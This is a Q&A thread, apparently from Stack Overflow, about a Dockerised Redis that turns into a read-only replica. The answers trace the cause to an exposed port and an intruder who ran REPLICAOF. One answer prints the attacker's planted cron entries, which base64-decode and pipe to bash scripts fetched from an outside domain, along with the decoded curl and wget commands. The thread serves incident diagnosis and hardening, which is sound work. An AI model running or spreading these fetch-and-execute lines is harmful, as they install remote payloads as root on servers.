Redis issue with READONLY You can't write against a read only replica but only running a single instance
Asked Answered
P

2

8

I'm having this issue with redis, i have a node app that listens on a socket, it runs constantly with forever and uses redis to store data. After a couple of hours the node app crashes and it logs:

READONLY You can't write against a read only replica

The thing is, i don't know why it randomly becomes read only, i only have a single instance of redis running inside a docker container with appendonlydir set to store all the data in a file. The path is fully accessible by the redis container and i can see the appendonlydir file on the host and inside the container.

There isn't much more i can give, the error is above with no indication of why it's randomly happening after the writing is working perfectly fine for a few hours.

If it helps my dockerfile:

FROM redis:7.0.0

RUN usermod --uid 1001 redis
RUN groupmod --gid 1001 redis

EXPOSE 6379

COPY ./docker/chat-redis/redis.conf /usr/local/etc/redis/redis.conf

CMD ["redis-server", "--include /usr/local/etc/redis/redis.conf"]

The folder on the host is owned by 1001:1001 and as i say can write to it perfectly fine when i first start up the redis container.

Please let me know if you need to see any of the redis.conf file, i haven't much in there except the default for version 7 and appendonlydir turned on.

Thee permissions on the directory are also allowing writing of the owner which is 1001

drwx------ 2 1001 1001  4096 Jun  6 13:39 appendonlydir
Preterition answered 6/6, 2022 at 17:26 Comment(0)
P
7

For anyone running into this issue, what seems to have happened is that i hadn't yet closed the firewall ports while i was putting the server setup together and someone got into to the redis container and changed it to read only.

I didn't set a password on it as it was going to be used in a private network only, but clearly someone got in before i had chance to close the external port.

I have since set a password.

Preterition answered 6/6, 2022 at 18:15 Comment(4)
Hie Glen. Are you sure it was someone changing the Redis Container. I put a password on my redis container, but after a while, it went back to being read only. Did it happen to you again after putting a password, if so, how did you then solve itJollanta
@Jollanta I'm facing the same issue; did you end up finding a solution?Selfliquidating
@Jollanta no it’s not happened again after the password and setting up the server firewall, all goodPreterition
The same happened to me, I forgot that my redis was exposed and it turned read only.Episcopal
N
2

Be very careful with the ports definition in your docker compose file or the --publish/-p option for docker run! If you only need to expose the container ports to the local host, I would always specify ports as 127.0.0.1:<host-port>:<container-port>. The <host-port>:<container-port> syntax exposes the host port to the entire network even when you have some firewall rules, e.g. with ufw, set up. This has recently been made a lot clearer in the Docker docs:

Publishing container ports is insecure by default. Meaning, when you publish a container's ports it becomes available not only to the Docker host, but to the outside world as well.

If you include the localhost IP address (127.0.0.1) with the publish flag, only the Docker host can access the published container port.

$ docker run -p 127.0.0.1:8080:80 nginx

See also How To Use Docker with a UFW Firewall:

If you set up a basic UFW firewall to deny by default and allow HTTP and SSH, this will appear secure—but it will not block Docker from starting containers bound to other ports. This issue can be hard to catch, as UFW and Docker are separate systems. UFW is unknowingly lying to you and will not show open ports from Docker containers.


So I just ran into the same issue and had the same conclusion as @Glen: someone accessed my (unsecured) redis instance and turned it into a read-only replica:

root@host:~# docker logs <redis-container-id>
1:S 27 Mar 2023 22:40:41.725 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
1:S 27 Mar 2023 22:40:41.725 * Connecting to MASTER 194.38.20.225:8886
1:S 27 Mar 2023 22:40:41.730 * MASTER <-> REPLICA sync started
1:S 27 Mar 2023 22:40:41.731 * REPLICAOF 194.38.20.225:8886 enabled (user request from 'id=41 addr=109.237.96.124:36508 laddr=172.21.0.2:6379 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=47 qbuf-free=20427 argv-mem=24 multi-mem=0 rbs=1024 rbp=5 obl=0 oll=0 omem=0 tot-mem=22320 events=r cmd=slaveof user=default redir=-1 resp=2')

From what I can tell they pushed (at least) the following keys onto my redis instance:

127.0.0.1:6379> keys *
1) "backup4"
2) "backup2"
3) "backup3"
4) "backup1"
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"
127.0.0.1:6379> get backup2
"\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\n\n"
127.0.0.1:6379> get backup3
"\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash\n\n"
127.0.0.1:6379> get backup4
"\n\n\n@hourly root  python -c \"import urllib2; print urllib2.urlopen('http://ki\\s\\s.a-d\\og.t\\op/t.sh').read()\" >.1;chmod +x .1;./.1\n\n"

The base64 encoded values decode to the following:

root@host:~# echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo= | base64 -d
cd1 http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg== b ase64 -d
wget -q -O- http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK | base64 -d
curl http://kiss.a-dog.top/b2f628/b.sh

At the time of this writing, the domain (kiss.a-dog.top) seems to be defunct now, so I hope that it didn't actually download any shell scripts from there. But I will still recreate the host machine I guess.

Nickynico answered 28/3, 2023 at 11:6 Comment(2)
did your redis.conf file had bind 127.0.0.1 commented with "#"?Ibeam
@ViniciusSoares I was just using the default redis image which doesn't seem to have a redis.conf. So I guess this would be equivalent to having bind 127.0.0.1 commented out, yes. But the point I'm trying to make is that Docker makes the forwarded port available to the entire network if you're not careful.Nickynico

© 2022 - 2024 — McMap. All rights reserved.